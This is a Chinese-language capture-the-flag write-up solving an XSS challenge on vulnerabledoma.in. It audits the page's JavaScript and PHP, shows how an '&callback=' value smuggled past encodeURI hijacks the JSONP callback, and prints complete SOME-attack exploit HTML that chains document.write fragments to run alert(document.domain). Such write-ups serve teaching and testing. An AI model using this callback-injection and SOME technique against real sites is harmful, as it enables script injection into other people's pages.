我最近发现了一个大佬出的一道xss题,需要我们执行alert(document.domain)

我们可以使用SOME攻击来实现XSS。

代码审计

index.html页面主要的一段JavaScript代码:

var callback = function(msg) {
      result.innerHTML = msg;
    }
    document.addEventListener('DOMContentLoaded', function(event) {
      if (getQuery('code')) {
        var code = getQuery('code');
        c.value = code;
        checkCode(code);
      }
    });
    form.addEventListener('submit', function(event) {
      checkCode(c.value);
      event.preventDefault();
    });

    function checkCode(code) {
      var s = document.createElement('script');
      s.src = `/xss_2020-06/check_code.php?callback=callback&code=${encodeURI(code)}`;
      document.body.appendChild(s);
    }

    function getQuery(name) {
      return new URL(location.href).searchParams.get(name);
    }

两个监听器都是对同一个东西的监听,只不过方法不同,一个是获取code参数,一个是表单提交,这就造了提交payload的差异。

还需要注意的是checkCode函数,它会使用encodeURI对code参数进行url进行编码。

对于check_code.php源码:

<?php
$callback = "callback";
if (isset($_GET['callback']))
{
    $callback = preg_replace("/[^a-z0-9.]+/i", "", $_GET['callback']);
}

$key = "";
if (isset($_GET['code']))
{
    $key = $_GET['code'];
}

if (mb_strlen($key, "UTF-8") <= 10)
{
    if ($key == "XSS_ME")
    {
        $result = "Okay! You can access <a href='#not-implemented'>the secret page</a>!";
    }
    else
    {
        $result = "Invalid code: '$key'";
    }
}
else
{
    $result = "Invalid code: too long";
}
$json = json_encode($result, JSON_HEX_TAG);

header('X-XSS-Protection: 0');
header('X-Content-Type-Options: nosniff');
header('Content-Type: text/javascript; charset=utf-8');
print "$callback($json)"

check_code.php中的限制:

  1. 使用/[^a-z0-9.]+/i对callback参数的过滤控制。
  2. 使用length<=10对code参数的过滤控制,只要长度限制,没有字符限制。

最终php文件返回值中的$json中都会有字符串Invalid code:,这个会影响我们的payload的构造。

我们通过在code参数中指定准备好的有效负载来实现SOME,该负载通过使用固定的callback参数和部分由攻击者控制的功能参数加载JSONP端点 。

此外,要实现对JSONP中使用的callback参数的控制,必须滥用 在checkCode函数中不安全地使用encodeURI。

漏洞利用

由于encodeURI不对&字符进行编码,因此可以在code参数中发送&callback =来覆盖其原有值(codeback=codeback)(如果url参数重复出现,服务器使用给定参数的最后一次出现的值而不是第一个)。

所以我们可以在表单中提交1&callback=alert来触发弹窗。如图:

我们还可以在url上使用code参数来触发弹窗,比如?code=1%26callback=alert。&的url编码就是%26

但是我们需要执行alert(document.domain),而且对code参数有长度限制。所以无法直接执行。

解决问题

这时我们就可以使用SOME攻击,使用iframe来实现同源方法执行,使用使用src属性来确保在同一个来源。

例如对于alert(1):

<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="x" onload="go()"></iframe>
<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="y" id="m"></iframe>
<script>
    function loadIframe(payload){
        return new Promise(resolve => {
            m.src = `https://vulnerabledoma.in/xss_2020-06/?code=${payload}%26callback=alert`;
            m.onload = function(){
                return resolve(this);
            }
        });
    }
    async function go(){
        await loadIframe("1");
    }
</script>

对于alert(document.domain),我们借助多个iframe和相同来源的跨iframe操作,通过编写HTML和JavaScript代码将payload(<script>eval(top[2].name)</script>)包含到iframe框架的DOM,将alert(document.domain)添加到name属性中。

因为长度的限制,我们还需要使用document.write来逐步建立payload。

并且有多余字符串Invalid code:的干扰,需要注释符来注释这些多余的字符串。

所以最终exp:

<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="x" onload="go()"></iframe>
<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="y" id="m"></iframe>
<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="alert(document.domain)"></iframe>

<script>
    function loadIframe(payload){
        return new Promise(resolve => {
            m.src = `https://vulnerabledoma.in/xss_2020-06/?code=${payload}%26callback=top.x.document.write`;
            m.onload = function(){
                return resolve(this);
            }
        });
    }

    async function go(){
        await loadIframe("<script>/*");
        await loadIframe("*/eval(/*");
        await loadIframe("*/top[2]/*");
        await loadIframe("*/.name)//");
        await loadIframe("<\/script>");
    }
</script>

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖